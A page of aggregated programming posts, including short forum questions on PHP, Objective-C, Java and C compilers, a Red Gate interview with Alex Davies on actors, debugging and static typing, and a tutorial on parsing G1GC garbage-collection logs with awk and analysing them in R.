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• How to create a search system in Website using PHP?

  - by samesame

  Hi, I am pretty new to web development and I want to create a search system on my webpage, but I dont have any idea how to? This search system must be able to search everything that is displayed on the webpage. Please help me.

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• PHP define() vs const

  - by clownbaby

  Pretty straightforward question: In PHP, do you prefer to do (and why): define('FOO', 1); OR const FOO = 1; Also, the code is NOT in a class. Thanks.

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• @"%@ in Objective C?

  - by doo

  I was following a tut and found a line of code like @"%@ button pressed.". I'm pretty sure the relevant part is the %@, but is the first @ an escape sequence or what? Anyways, searching symbols doesn't go well in any search engine so I thought I'd ask. I think the %@ is like {0} in C#?

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• Tell me what's wrong [closed]

  - by steve care

  public class Sample { public static void main (String[]a){ int[] x; x = new int[10]; int i;' int n=0; for (i=0;i<=10;i++){ n++; x[i]=n; System.out.print(x[i] + " "); } } } the problem is I got an error of "Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: 10"

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• C compiler producing lightweight executeables

  - by samuel

  I'm currently using MSVC for C++ but as I'm switching to C to write a very performance-intensive program (interpreter) I have to search for a fitting C compiler. I've looked at some binaries produced by Turbo-C and even if its old they seem pretty straigthforward and optimized. Now I don't know what the best compiler for building an interpreter is, but maybe you can help me. I've considered GCC but as I don't know much about it, I can't be really sure.

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• Red Gate Coder interviews: Alex Davies

  - by Michael Williamson

  Alex Davies has been a software engineer at Red Gate since graduating from university, and is currently busy working on .NET Demon. We talked about tackling parallel programming with his actors framework, a scientific approach to debugging, and how JavaScript is going to affect the programming languages we use in years to come. So, if we start at the start, how did you get started in programming? When I was seven or eight, I was given a BBC Micro for Christmas. I had asked for a Game Boy, but my dad thought it would be better to give me a proper computer. For a year or so, I only played games on it, but then I found the user guide for writing programs in it. I gradually started doing more stuff on it and found it fun. I liked creating. As I went into senior school I continued to write stuff on there, trying to write games that weren’t very good. I got a real computer when I was fourteen and found ways to write BASIC on it. Visual Basic to start with, and then something more interesting than that. How did you learn to program? Was there someone helping you out? Absolutely not! I learnt out of a book, or by experimenting. I remember the first time I found a loop, I was like “Oh my God! I don’t have to write out the same line over and over and over again any more. It’s amazing!” When did you think this might be something that you actually wanted to do as a career? For a long time, I thought it wasn’t something that you would do as a career, because it was too much fun to be a career. I thought I’d do chemistry at university and some kind of career based on chemical engineering. And then I went to a careers fair at school when I was seventeen or eighteen, and it just didn’t interest me whatsoever. I thought “I could be a programmer, and there’s loads of money there, and I’m good at it, and it’s fun”, but also that I shouldn’t spoil my hobby. Now I don’t really program in my spare time any more, which is a bit of a shame, but I program all the rest of the time, so I can live with it. Do you think you learnt much about programming at university? Yes, definitely! I went into university knowing how to make computers do anything I wanted them to do. However, I didn’t have the language to talk about algorithms, so the algorithms course in my first year was massively important. Learning other language paradigms like functional programming was really good for breadth of understanding. Functional programming influences normal programming through design rather than actually using it all the time. I draw inspiration from it to write imperative programs which I think is actually becoming really fashionable now, but I’ve been doing it for ages. I did it first! There were also some courses on really odd programming languages, a bit of Prolog, a little bit of C. Having a little bit of each of those is something that I would have never done on my own, so it was important. And then there are knowledge-based courses which are about not programming itself but things that have been programmed like TCP. Those are really important for examples for how to approach things. Did you do any internships while you were at university? Yeah, I spent both of my summers at the same company. I thought I could code well before I went there. Looking back at the crap that I produced, it was only surpassed in its crappiness by all of the other code already in that company. I’m so much better at writing nice code now than I used to be back then. Was there just not a culture of looking after your code? There was, they just didn’t hire people for their abilities in that area. They hired people for raw IQ. The first indicator of it going wrong was that they didn’t have any computer scientists, which is a bit odd in a programming company. But even beyond that they didn’t have people who learnt architecture from anyone else. Most of them had started straight out of university, so never really had experience or mentors to learn from. There wasn’t the experience to draw from to teach each other. In the second half of my second internship, I was being given tasks like looking at new technologies and teaching people stuff. Interns shouldn’t be teaching people how to do their jobs! All interns are going to have little nuggets of things that you don’t know about, but they shouldn’t consistently be the ones who know the most. It’s not a good environment to learn. I was going to ask how you found working with people who were more experienced than you… When I reached Red Gate, I found some people who were more experienced programmers than me, and that was difficult. I’ve been coding since I was tiny. At university there were people who were cleverer than me, but there weren’t very many who were more experienced programmers than me. During my internship, I didn’t find anyone who I classed as being a noticeably more experienced programmer than me. So, it was a shock to the system to have valid criticisms rather than just formatting criticisms. However, Red Gate’s not so big on the actual code review, at least it wasn’t when I started. We did an entire product release and then somebody looked over all of the UI of that product which I’d written and say what they didn’t like. By that point, it was way too late and I’d disagree with them. Do you think the lack of code reviews was a bad thing? I think if there’s going to be any oversight of new people, then it should be continuous rather than chunky. For me I don’t mind too much, I could go out and get oversight if I wanted it, and in those situations I felt comfortable without it. If I was managing the new person, then maybe I’d be keener on oversight and then the right way to do it is continuously and in very, very small chunks. Have you had any significant projects you’ve worked on outside of a job? When I was a teenager I wrote all sorts of stuff. I used to write games, I derived how to do isomorphic projections myself once. I didn’t know what the word was so I couldn’t Google for it, so I worked it out myself. It was horrifically complicated. But it sort of tailed off when I started at university, and is now basically zero. If I do side-projects now, they tend to be work-related side projects like my actors framework, NAct, which I started in a down tools week. Could you explain a little more about NAct? It is a little C# framework for writing parallel code more easily. Parallel programming is difficult when you need to write to shared data. Sometimes parallel programming is easy because you don’t need to write to shared data. When you do need to access shared data, you could just have your threads pile in and do their work, but then you would screw up the data because the threads would trample on each other’s toes. You could lock, but locks are really dangerous if you’re using more than one of them. You get interactions like deadlocks, and that’s just nasty. Actors instead allows you to say this piece of data belongs to this thread of execution, and nobody else can read it. If you want to read it, then ask that thread of execution for a piece of it by sending a message, and it will send the data back by a message. And that avoids deadlocks as long as you follow some obvious rules about not making your actors sit around waiting for other actors to do something. There are lots of ways to write actors, NAct allows you to do it as if it was method calls on other objects, which means you get all the strong type-safety that C# programmers like. Do you think that this is suitable for the majority of parallel programming, or do you think it’s only suitable for specific cases? It’s suitable for most difficult parallel programming. If you’ve just got a hundred web requests which are all independent of each other, then I wouldn’t bother because it’s easier to just spin them up in separate threads and they can proceed independently of each other. But where you’ve got difficult parallel programming, where you’ve got multiple threads accessing multiple bits of data in multiple ways at different times, then actors is at least as good as all other ways, and is, I reckon, easier to think about. When you’re using actors, you presumably still have to write your code in a different way from you would otherwise using single-threaded code. You can’t use actors with any methods that have return types, because you’re not allowed to call into another actor and wait for it. If you want to get a piece of data out of another actor, then you’ve got to use tasks so that you can use “async” and “await” to await asynchronously for it. But other than that, you can still stick things in classes so it’s not too different really. Rather than having thousands of objects with mutable state, you can use component-orientated design, where there are only a few mutable classes which each have a small number of instances. Then there can be thousands of immutable objects. If you tend to do that anyway, then actors isn’t much of a jump. If I’ve already built my system without any parallelism, how hard is it to add actors to exploit all eight cores on my desktop? Usually pretty easy. If you can identify even one boundary where things look like messages and you have components where some objects live on one side and these other objects live on the other side, then you can have a granddaddy object on one side be an actor and it will parallelise as it goes across that boundary. Not too difficult. If we do get 1000-core desktop PCs, do you think actors will scale up? It’s hard. There are always in the order of twenty to fifty actors in my whole program because I tend to write each component as actors, and I tend to have one instance of each component. So this won’t scale to a thousand cores. What you can do is write data structures out of actors. I use dictionaries all over the place, and if you need a dictionary that is going to be accessed concurrently, then you could build one of those out of actors in no time. You can use queuing to marshal requests between different slices of the dictionary which are living on different threads. So it’s like a distributed hash table but all of the chunks of it are on the same machine. That means that each of these thousand processors has cached one small piece of the dictionary. I reckon it wouldn’t be too big a leap to start doing proper parallelism. Do you think it helps if actors get baked into the language, similarly to Erlang? Erlang is excellent in that it has thread-local garbage collection. C# doesn’t, so there’s a limit to how well C# actors can possibly scale because there’s a single garbage collected heap shared between all of them. When you do a global garbage collection, you’ve got to stop all of the actors, which is seriously expensive, whereas in Erlang garbage collections happen per-actor, so they’re insanely cheap. However, Erlang deviated from all the sensible language design that people have used recently and has just come up with crazy stuff. You can definitely retrofit thread-local garbage collection to .NET, and then it’s quite well-suited to support actors, even if it’s not baked into the language. Speaking of language design, do you have a favourite programming language? I’ll choose a language which I’ve never written before. I like the idea of Scala. It sounds like C#, only with some of the niggles gone. I enjoy writing static types. It means you don’t have to writing tests so much. When you say it doesn’t have some of the niggles? C# doesn’t allow the use of a property as a method group. It doesn’t have Scala case classes, or sum types, where you can do a switch statement and the compiler checks that you’ve checked all the cases, which is really useful in functional-style programming. Pattern-matching, in other words. That’s actually the major niggle. C# is pretty good, and I’m quite happy with C#. And what about going even further with the type system to remove the need for tests to something like Haskell? Or is that a step too far? I’m quite a pragmatist, I don’t think I could deal with trying to write big systems in languages with too few other users, especially when learning how to structure things. I just don’t know anyone who can teach me, and the Internet won’t teach me. That’s the main reason I wouldn’t use it. If I turned up at a company that writes big systems in Haskell, I would have no objection to that, but I wouldn’t instigate it. What about things in C#? For instance, there’s contracts in C#, so you can try to statically verify a bit more about your code. Do you think that’s useful, or just not worthwhile? I’ve not really tried it. My hunch is that it needs to be built into the language and be quite mathematical for it to work in real life, and that doesn’t seem to have ended up true for C# contracts. I don’t think anyone who’s tried them thinks they’re any good. I might be wrong. On a slightly different note, how do you like to debug code? I think I’m quite an odd debugger. I use guesswork extremely rarely, especially if something seems quite difficult to debug. I’ve been bitten spending hours and hours on guesswork and not being scientific about debugging in the past, so now I’m scientific to a fault. What I want is to see the bug happening in the debugger, to step through the bug happening. To watch the program going from a valid state to an invalid state. When there’s a bug and I can’t work out why it’s happening, I try to find some piece of evidence which places the bug in one section of the code. From that experiment, I binary chop on the possible causes of the bug. I suppose that means binary chopping on places in the code, or binary chopping on a stage through a processing cycle. Basically, I’m very stupid about how I debug. I won’t make any guesses, I won’t use any intuition, I will only identify the experiment that’s going to binary chop most effectively and repeat rather than trying to guess anything. I suppose it’s quite top-down. Is most of the time then spent in the debugger? Absolutely, if at all possible I will never debug using print statements or logs. I don’t really hold much stock in outputting logs. If there’s any bug which can be reproduced locally, I’d rather do it in the debugger than outputting logs. And with SmartAssembly error reporting, there’s not a lot that can’t be either observed in an error report and just fixed, or reproduced locally. And in those other situations, maybe I’ll use logs. But I hate using logs. You stare at the log, trying to guess what’s going on, and that’s exactly what I don’t like doing. You have to just look at it and see does this look right or wrong. We’ve covered how you get to grip with bugs. How do you get to grips with an entire codebase? I watch it in the debugger. I find little bugs and then try to fix them, and mostly do it by watching them in the debugger and gradually getting an understanding of how the code works using my process of binary chopping. I have to do a lot of reading and watching code to choose where my slicing-in-half experiment is going to be. The last time I did it was SmartAssembly. The old code was a complete mess, but at least it did things top to bottom. There wasn’t too much of some of the big abstractions where flow of control goes all over the place, into a base class and back again. Code’s really hard to understand when that happens. So I like to choose a little bug and try to fix it, and choose a bigger bug and try to fix it. Definitely learn by doing. I want to always have an aim so that I get a little achievement after every few hours of debugging. Once I’ve learnt the codebase I might be able to fix all the bugs in an hour, but I’d rather be using them as an aim while I’m learning the codebase. If I was a maintainer of a codebase, what should I do to make it as easy as possible for you to understand? Keep distinct concepts in different places. And name your stuff so that it’s obvious which concepts live there. You shouldn’t have some variable that gets set miles up the top of somewhere, and then is read miles down to choose some later behaviour. I’m talking from a very much SmartAssembly point of view because the old SmartAssembly codebase had tons and tons of these things, where it would read some property of the code and then deal with it later. Just thousands of variables in scope. Loads of things to think about. If you can keep concepts separate, then it aids me in my process of fixing bugs one at a time, because each bug is going to more or less be understandable in the one place where it is. And what about tests? Do you think they help at all? I’ve never had the opportunity to learn a codebase which has had tests, I don’t know what it’s like! What about when you’re actually developing? How useful do you find tests in finding bugs or regressions? Finding regressions, absolutely. Running bits of code that would be quite hard to run otherwise, definitely. It doesn’t happen very often that a test finds a bug in the first place. I don’t really buy nebulous promises like tests being a good way to think about the spec of the code. My thinking goes something like “This code works at the moment, great, ship it! Ah, there’s a way that this code doesn’t work. Okay, write a test, demonstrate that it doesn’t work, fix it, use the test to demonstrate that it’s now fixed, and keep the test for future regressions.” The most valuable tests are for bugs that have actually happened at some point, because bugs that have actually happened at some point, despite the fact that you think you’ve fixed them, are way more likely to appear again than new bugs are. Does that mean that when you write your code the first time, there are no tests? Often. The chance of there being a bug in a new feature is relatively unaffected by whether I’ve written a test for that new feature because I’m not good enough at writing tests to think of bugs that I would have written into the code. So not writing regression tests for all of your code hasn’t affected you too badly? There are different kinds of features. Some of them just always work, and are just not flaky, they just continue working whatever you throw at them. Maybe because the type-checker is particularly effective around them. Writing tests for those features which just tend to always work is a waste of time. And because it’s a waste of time I’ll tend to wait until a feature has demonstrated its flakiness by having bugs in it before I start trying to test it. You can get a feel for whether it’s going to be flaky code as you’re writing it. I try to write it to make it not flaky, but there are some things that are just inherently flaky. And very occasionally, I’ll think “this is going to be flaky” as I’m writing, and then maybe do a test, but not most of the time. How do you think your programming style has changed over time? I’ve got clearer about what the right way of doing things is. I used to flip-flop a lot between different ideas. Five years ago I came up with some really good ideas and some really terrible ideas. All of them seemed great when I thought of them, but they were quite diverse ideas, whereas now I have a smaller set of reliable ideas that are actually good for structuring code. So my code is probably more similar to itself than it used to be back in the day, when I was trying stuff out. I’ve got more disciplined about encapsulation, I think. There are operational things like I use actors more now than I used to, and that forces me to use immutability more than I used to. The first code that I wrote in Red Gate was the memory profiler UI, and that was an actor, I just didn’t know the name of it at the time. I don’t really use object-orientation. By object-orientation, I mean having n objects of the same type which are mutable. I want a constant number of objects that are mutable, and they should be different types. I stick stuff in dictionaries and then have one thing that owns the dictionary and puts stuff in and out of it. That’s definitely a pattern that I’ve seen recently. I think maybe I’m doing functional programming. Possibly. It’s plausible. If you had to summarise the essence of programming in a pithy sentence, how would you do it? Programming is the form of art that, without losing any of the beauty of architecture or fine art, allows you to produce things that people love and you make money from. So you think it’s an art rather than a science? It’s a little bit of engineering, a smidgeon of maths, but it’s not science. Like architecture, programming is on that boundary between art and engineering. If you want to do it really nicely, it’s mostly art. You can get away with doing architecture and programming entirely by having a good engineering mind, but you’re not going to produce anything nice. You’re not going to have joy doing it if you’re an engineering mind. Architects who are just engineering minds are not going to enjoy their job. I suppose engineering is the foundation on which you build the art. Exactly. How do you think programming is going to change over the next ten years? There will be an unfortunate shift towards dynamically-typed languages, because of JavaScript. JavaScript has an unfair advantage. JavaScript’s unfair advantage will cause more people to be exposed to dynamically-typed languages, which means other dynamically-typed languages crop up and the best features go into dynamically-typed languages. Then people conflate the good features with the fact that it’s dynamically-typed, and more investment goes into dynamically-typed languages. They end up better, so people use them. What about the idea of compiling other languages, possibly statically-typed, to JavaScript? It’s a reasonable idea. I would like to do it, but I don’t think enough people in the world are going to do it to make it pick up. The hordes of beginners are the lifeblood of a language community. They are what makes there be good tools and what makes there be vibrant community websites. And any particular thing which is the same as JavaScript only with extra stuff added to it, although it might be technically great, is not going to have the hordes of beginners. JavaScript is always to be quickest and easiest way for a beginner to start programming in the browser. And dynamically-typed languages are great for beginners. Compilers are pretty scary and beginners don’t write big code. And having your errors come up in the same place, whether they’re statically checkable errors or not, is quite nice for a beginner. If someone asked me to teach them some programming, I’d teach them JavaScript. If dynamically-typed languages are great for beginners, when do you think the benefits of static typing start to kick in? The value of having a statically typed program is in the tools that rely on the static types to produce a smooth IDE experience rather than actually telling me my compile errors. And only once you’re experienced enough a programmer that having a really smooth IDE experience makes a blind bit of difference, does static typing make a blind bit of difference. So it’s not really about size of codebase. If I go and write up a tiny program, I’m still going to get value out of writing it in C# using ReSharper because I’m experienced with C# and ReSharper enough to be able to write code five times faster if I have that help. Any other visions of the future? Nobody’s going to use actors. Because everyone’s going to be running on single-core VMs connected over network-ready protocols like JSON over HTTP. So, parallelism within one operating system is going to die. But until then, you should use actors. More Red Gater Coder interviews

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• Using R to Analyze G1GC Log Files

  - by user12620111

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  Using R to Analyze G1GC Log Files   Using R to Analyze G1GC Log Files Introduction Working in Oracle Platform Integration gives an engineer opportunities to work on a wide array of technologies. My team’s goal is to make Oracle applications run best on the Solaris/SPARC platform. When looking for bottlenecks in a modern applications, one needs to be aware of not only how the CPUs and operating system are executing, but also network, storage, and in some cases, the Java Virtual Machine. I was recently presented with about 1.5 GB of Java Garbage First Garbage Collector log file data. If you’re not familiar with the subject, you might want to review Garbage First Garbage Collector Tuning by Monica Beckwith. The customer had been running Java HotSpot 1.6.0_31 to host a web application server. I was told that the Solaris/SPARC server was running a Java process launched using a commmand line that included the following flags: -d64 -Xms9g -Xmx9g -XX:+UseG1GC -XX:MaxGCPauseMillis=200 -XX:InitiatingHeapOccupancyPercent=80 -XX:PermSize=256m -XX:MaxPermSize=256m -XX:+PrintGC -XX:+PrintGCTimeStamps -XX:+PrintHeapAtGC -XX:+PrintGCDateStamps -XX:+PrintFlagsFinal -XX:+DisableExplicitGC -XX:+UnlockExperimentalVMOptions -XX:ParallelGCThreads=8 Several sources on the internet indicate that if I were to print out the 1.5 GB of log files, it would require enough paper to fill the bed of a pick up truck. Of course, it would be fruitless to try to scan the log files by hand. Tools will be required to summarize the contents of the log files. Others have encountered large Java garbage collection log files. There are existing tools to analyze the log files: IBM’s GC toolkit The chewiebug GCViewer gchisto HPjmeter Instead of using one of the other tools listed, I decide to parse the log files with standard Unix tools, and analyze the data with R. Data Cleansing The log files arrived in two different formats. I guess that the difference is that one set of log files was generated using a more verbose option, maybe -XX:+PrintHeapAtGC, and the other set of log files was generated without that option. Format 1 In some of the log files, the log files with the less verbose format, a single trace, i.e. the report of a singe garbage collection event, looks like this: {Heap before GC invocations=12280 (full 61): garbage-first heap total 9437184K, used 7499918K [0xfffffffd00000000, 0xffffffff40000000, 0xffffffff40000000) region size 4096K, 1 young (4096K), 0 survivors (0K) compacting perm gen total 262144K, used 144077K [0xffffffff40000000, 0xffffffff50000000, 0xffffffff50000000) the space 262144K, 54% used [0xffffffff40000000, 0xffffffff48cb3758, 0xffffffff48cb3800, 0xffffffff50000000) No shared spaces configured. 2014-05-14T07:24:00.988-0700: 60586.353: [GC pause (young) 7324M->7320M(9216M), 0.1567265 secs] Heap after GC invocations=12281 (full 61): garbage-first heap total 9437184K, used 7496533K [0xfffffffd00000000, 0xffffffff40000000, 0xffffffff40000000) region size 4096K, 0 young (0K), 0 survivors (0K) compacting perm gen total 262144K, used 144077K [0xffffffff40000000, 0xffffffff50000000, 0xffffffff50000000) the space 262144K, 54% used [0xffffffff40000000, 0xffffffff48cb3758, 0xffffffff48cb3800, 0xffffffff50000000) No shared spaces configured. } A simple grep can be used to extract a summary: $ grep "\[ GC pause (young" g1gc.log 2014-05-13T13:24:35.091-0700: 3.109: [GC pause (young) 20M->5029K(9216M), 0.0146328 secs] 2014-05-13T13:24:35.440-0700: 3.459: [GC pause (young) 9125K->6077K(9216M), 0.0086723 secs] 2014-05-13T13:24:37.581-0700: 5.599: [GC pause (young) 25M->8470K(9216M), 0.0203820 secs] 2014-05-13T13:24:42.686-0700: 10.704: [GC pause (young) 44M->15M(9216M), 0.0288848 secs] 2014-05-13T13:24:48.941-0700: 16.958: [GC pause (young) 51M->20M(9216M), 0.0491244 secs] 2014-05-13T13:24:56.049-0700: 24.066: [GC pause (young) 92M->26M(9216M), 0.0525368 secs] 2014-05-13T13:25:34.368-0700: 62.383: [GC pause (young) 602M->68M(9216M), 0.1721173 secs] But that format wasn't easily read into R, so I needed to be a bit more tricky. I used the following Unix command to create a summary file that was easy for R to read. $ echo "SecondsSinceLaunch BeforeSize AfterSize TotalSize RealTime" $ grep "\[GC pause (young" g1gc.log | grep -v mark | sed -e 's/[A-SU-z\(\),]/ /g' -e 's/->/ /' -e 's/: / /g' | more SecondsSinceLaunch BeforeSize AfterSize TotalSize RealTime 2014-05-13T13:24:35.091-0700 3.109 20 5029 9216 0.0146328 2014-05-13T13:24:35.440-0700 3.459 9125 6077 9216 0.0086723 2014-05-13T13:24:37.581-0700 5.599 25 8470 9216 0.0203820 2014-05-13T13:24:42.686-0700 10.704 44 15 9216 0.0288848 2014-05-13T13:24:48.941-0700 16.958 51 20 9216 0.0491244 2014-05-13T13:24:56.049-0700 24.066 92 26 9216 0.0525368 2014-05-13T13:25:34.368-0700 62.383 602 68 9216 0.1721173 Format 2 In some of the log files, the log files with the more verbose format, a single trace, i.e. the report of a singe garbage collection event, was more complicated than Format 1. Here is a text file with an example of a single G1GC trace in the second format. As you can see, it is quite complicated. It is nice that there is so much information available, but the level of detail can be overwhelming. I wrote this awk script (download) to summarize each trace on a single line. #!/usr/bin/env awk -f BEGIN { printf("SecondsSinceLaunch IncrementalCount FullCount UserTime SysTime RealTime BeforeSize AfterSize TotalSize\n") } ###################### # Save count data from lines that are at the start of each G1GC trace. # Each trace starts out like this: # {Heap before GC invocations=14 (full 0): # garbage-first heap total 9437184K, used 325496K [0xfffffffd00000000, 0xffffffff40000000, 0xffffffff40000000) ###################### /{Heap.*full/{ gsub ( "\\)" , "" ); nf=split($0,a,"="); split(a[2],b," "); getline; if ( match($0, "first") ) { G1GC=1; IncrementalCount=b[1]; FullCount=substr( b[3], 1, length(b[3])-1 ); } else { G1GC=0; } } ###################### # Pull out time stamps that are in lines with this format: # 2014-05-12T14:02:06.025-0700: 94.312: [GC pause (young), 0.08870154 secs] ###################### /GC pause/ { DateTime=$1; SecondsSinceLaunch=substr($2, 1, length($2)-1); } ###################### # Heap sizes are in lines that look like this: # [ 4842M->4838M(9216M)] ###################### /\[ .*]$/ { gsub ( "\\[" , "" ); gsub ( "\ \]" , "" ); gsub ( "->" , " " ); gsub ( "\\( " , " " ); gsub ( "\ \)" , " " ); split($0,a," "); if ( split(a[1],b,"M") > 1 ) {BeforeSize=b[1]*1024;} if ( split(a[1],b,"K") > 1 ) {BeforeSize=b[1];} if ( split(a[2],b,"M") > 1 ) {AfterSize=b[1]*1024;} if ( split(a[2],b,"K") > 1 ) {AfterSize=b[1];} if ( split(a[3],b,"M") > 1 ) {TotalSize=b[1]*1024;} if ( split(a[3],b,"K") > 1 ) {TotalSize=b[1];} } ###################### # Emit an output line when you find input that looks like this: # [Times: user=1.41 sys=0.08, real=0.24 secs] ###################### /\[Times/ { if (G1GC==1) { gsub ( "," , "" ); split($2,a,"="); UserTime=a[2]; split($3,a,"="); SysTime=a[2]; split($4,a,"="); RealTime=a[2]; print DateTime,SecondsSinceLaunch,IncrementalCount,FullCount,UserTime,SysTime,RealTime,BeforeSize,AfterSize,TotalSize; G1GC=0; } } The resulting summary is about 25X smaller that the original file, but still difficult for a human to digest. SecondsSinceLaunch IncrementalCount FullCount UserTime SysTime RealTime BeforeSize AfterSize TotalSize ... 2014-05-12T18:36:34.669-0700: 3985.744 561 0 0.57 0.06 0.16 1724416 1720320 9437184 2014-05-12T18:36:34.839-0700: 3985.914 562 0 0.51 0.06 0.19 1724416 1720320 9437184 2014-05-12T18:36:35.069-0700: 3986.144 563 0 0.60 0.04 0.27 1724416 1721344 9437184 2014-05-12T18:36:35.354-0700: 3986.429 564 0 0.33 0.04 0.09 1725440 1722368 9437184 2014-05-12T18:36:35.545-0700: 3986.620 565 0 0.58 0.04 0.17 1726464 1722368 9437184 2014-05-12T18:36:35.726-0700: 3986.801 566 0 0.43 0.05 0.12 1726464 1722368 9437184 2014-05-12T18:36:35.856-0700: 3986.930 567 0 0.30 0.04 0.07 1726464 1723392 9437184 2014-05-12T18:36:35.947-0700: 3987.023 568 0 0.61 0.04 0.26 1727488 1723392 9437184 2014-05-12T18:36:36.228-0700: 3987.302 569 0 0.46 0.04 0.16 1731584 1724416 9437184 Reading the Data into R Once the GC log data had been cleansed, either by processing the first format with the shell script, or by processing the second format with the awk script, it was easy to read the data into R. g1gc.df = read.csv("summary.txt", row.names = NULL, stringsAsFactors=FALSE,sep="") str(g1gc.df) ## 'data.frame': 8307 obs. of 10 variables: ## $ row.names : chr "2014-05-12T14:00:32.868-0700:" "2014-05-12T14:00:33.179-0700:" "2014-05-12T14:00:33.677-0700:" "2014-05-12T14:00:35.538-0700:" ... ## $ SecondsSinceLaunch: num 1.16 1.47 1.97 3.83 6.1 ... ## $ IncrementalCount : int 0 1 2 3 4 5 6 7 8 9 ... ## $ FullCount : int 0 0 0 0 0 0 0 0 0 0 ... ## $ UserTime : num 0.11 0.05 0.04 0.21 0.08 0.26 0.31 0.33 0.34 0.56 ... ## $ SysTime : num 0.04 0.01 0.01 0.05 0.01 0.06 0.07 0.06 0.07 0.09 ... ## $ RealTime : num 0.02 0.02 0.01 0.04 0.02 0.04 0.05 0.04 0.04 0.06 ... ## $ BeforeSize : int 8192 5496 5768 22528 24576 43008 34816 53248 55296 93184 ... ## $ AfterSize : int 1400 1672 2557 4907 7072 14336 16384 18432 19456 21504 ... ## $ TotalSize : int 9437184 9437184 9437184 9437184 9437184 9437184 9437184 9437184 9437184 9437184 ... head(g1gc.df) ## row.names SecondsSinceLaunch IncrementalCount ## 1 2014-05-12T14:00:32.868-0700: 1.161 0 ## 2 2014-05-12T14:00:33.179-0700: 1.472 1 ## 3 2014-05-12T14:00:33.677-0700: 1.969 2 ## 4 2014-05-12T14:00:35.538-0700: 3.830 3 ## 5 2014-05-12T14:00:37.811-0700: 6.103 4 ## 6 2014-05-12T14:00:41.428-0700: 9.720 5 ## FullCount UserTime SysTime RealTime BeforeSize AfterSize TotalSize ## 1 0 0.11 0.04 0.02 8192 1400 9437184 ## 2 0 0.05 0.01 0.02 5496 1672 9437184 ## 3 0 0.04 0.01 0.01 5768 2557 9437184 ## 4 0 0.21 0.05 0.04 22528 4907 9437184 ## 5 0 0.08 0.01 0.02 24576 7072 9437184 ## 6 0 0.26 0.06 0.04 43008 14336 9437184 Basic Statistics Once the data has been read into R, simple statistics are very easy to generate. All of the numbers from high school statistics are available via simple commands. For example, generate a summary of every column: summary(g1gc.df) ## row.names SecondsSinceLaunch IncrementalCount FullCount ## Length:8307 Min. : 1 Min. : 0 Min. : 0.0 ## Class :character 1st Qu.: 9977 1st Qu.:2048 1st Qu.: 0.0 ## Mode :character Median :12855 Median :4136 Median : 12.0 ## Mean :12527 Mean :4156 Mean : 31.6 ## 3rd Qu.:15758 3rd Qu.:6262 3rd Qu.: 61.0 ## Max. :55484 Max. :8391 Max. :113.0 ## UserTime SysTime RealTime BeforeSize ## Min. :0.040 Min. :0.0000 Min. : 0.0 Min. : 5476 ## 1st Qu.:0.470 1st Qu.:0.0300 1st Qu.: 0.1 1st Qu.:5137920 ## Median :0.620 Median :0.0300 Median : 0.1 Median :6574080 ## Mean :0.751 Mean :0.0355 Mean : 0.3 Mean :5841855 ## 3rd Qu.:0.920 3rd Qu.:0.0400 3rd Qu.: 0.2 3rd Qu.:7084032 ## Max. :3.370 Max. :1.5600 Max. :488.1 Max. :8696832 ## AfterSize TotalSize ## Min. : 1380 Min. :9437184 ## 1st Qu.:5002752 1st Qu.:9437184 ## Median :6559744 Median :9437184 ## Mean :5785454 Mean :9437184 ## 3rd Qu.:7054336 3rd Qu.:9437184 ## Max. :8482816 Max. :9437184 Q: What is the total amount of User CPU time spent in garbage collection? sum(g1gc.df$UserTime) ## [1] 6236 As you can see, less than two hours of CPU time was spent in garbage collection. Is that too much? To find the percentage of time spent in garbage collection, divide the number above by total_elapsed_time*CPU_count. In this case, there are a lot of CPU’s and it turns out the the overall amount of CPU time spent in garbage collection isn’t a problem when viewed in isolation. When calculating rates, i.e. events per unit time, you need to ask yourself if the rate is homogenous across the time period in the log file. Does the log file include spikes of high activity that should be separately analyzed? Averaging in data from nights and weekends with data from business hours may alias problems. If you have a reason to suspect that the garbage collection rates include peaks and valleys that need independent analysis, see the “Time Series” section, below. Q: How much garbage is collected on each pass? The amount of heap space that is recovered per GC pass is surprisingly low: At least one collection didn’t recover any data. (“Min.=0”) 25% of the passes recovered 3MB or less. (“1st Qu.=3072”) Half of the GC passes recovered 4MB or less. (“Median=4096”) The average amount recovered was 56MB. (“Mean=56390”) 75% of the passes recovered 36MB or less. (“3rd Qu.=36860”) At least one pass recovered 2GB. (“Max.=2121000”) g1gc.df$Delta = g1gc.df$BeforeSize - g1gc.df$AfterSize summary(g1gc.df$Delta) ## Min. 1st Qu. Median Mean 3rd Qu. Max. ## 0 3070 4100 56400 36900 2120000 Q: What is the maximum User CPU time for a single collection? The worst garbage collection (“Max.”) is many standard deviations away from the mean. The data appears to be right skewed. summary(g1gc.df$UserTime) ## Min. 1st Qu. Median Mean 3rd Qu. Max. ## 0.040 0.470 0.620 0.751 0.920 3.370 sd(g1gc.df$UserTime) ## [1] 0.3966 Basic Graphics Once the data is in R, it is trivial to plot the data with formats including dot plots, line charts, bar charts (simple, stacked, grouped), pie charts, boxplots, scatter plots histograms, and kernel density plots. Histogram of User CPU Time per Collection I don't think that this graph requires any explanation. hist(g1gc.df$UserTime, main="User CPU Time per Collection", xlab="Seconds", ylab="Frequency") Box plot to identify outliers When the initial data is viewed with a box plot, you can see the one crazy outlier in the real time per GC. Save this data point for future analysis and drop the outlier so that it’s not throwing off our statistics. Now the box plot shows many outliers, which will be examined later, using times series analysis. Notice that the scale of the x-axis changes drastically once the crazy outlier is removed. par(mfrow=c(2,1)) boxplot(g1gc.df$UserTime,g1gc.df$SysTime,g1gc.df$RealTime, main="Box Plot of Time per GC\n(dominated by a crazy outlier)", names=c("usr","sys","elapsed"), xlab="Seconds per GC", ylab="Time (Seconds)", horizontal = TRUE, outcol="red") crazy.outlier.df=g1gc.df[g1gc.df$RealTime > 400,] g1gc.df=g1gc.df[g1gc.df$RealTime < 400,] boxplot(g1gc.df$UserTime,g1gc.df$SysTime,g1gc.df$RealTime, main="Box Plot of Time per GC\n(crazy outlier excluded)", names=c("usr","sys","elapsed"), xlab="Seconds per GC", ylab="Time (Seconds)", horizontal = TRUE, outcol="red") box(which = "outer", lty = "solid") Here is the crazy outlier for future analysis: crazy.outlier.df ## row.names SecondsSinceLaunch IncrementalCount ## 8233 2014-05-12T23:15:43.903-0700: 20741 8316 ## FullCount UserTime SysTime RealTime BeforeSize AfterSize TotalSize ## 8233 112 0.55 0.42 488.1 8381440 8235008 9437184 ## Delta ## 8233 146432 R Time Series Data To analyze the garbage collection as a time series, I’ll use Z’s Ordered Observations (zoo). “zoo is the creator for an S3 class of indexed totally ordered observations which includes irregular time series.” 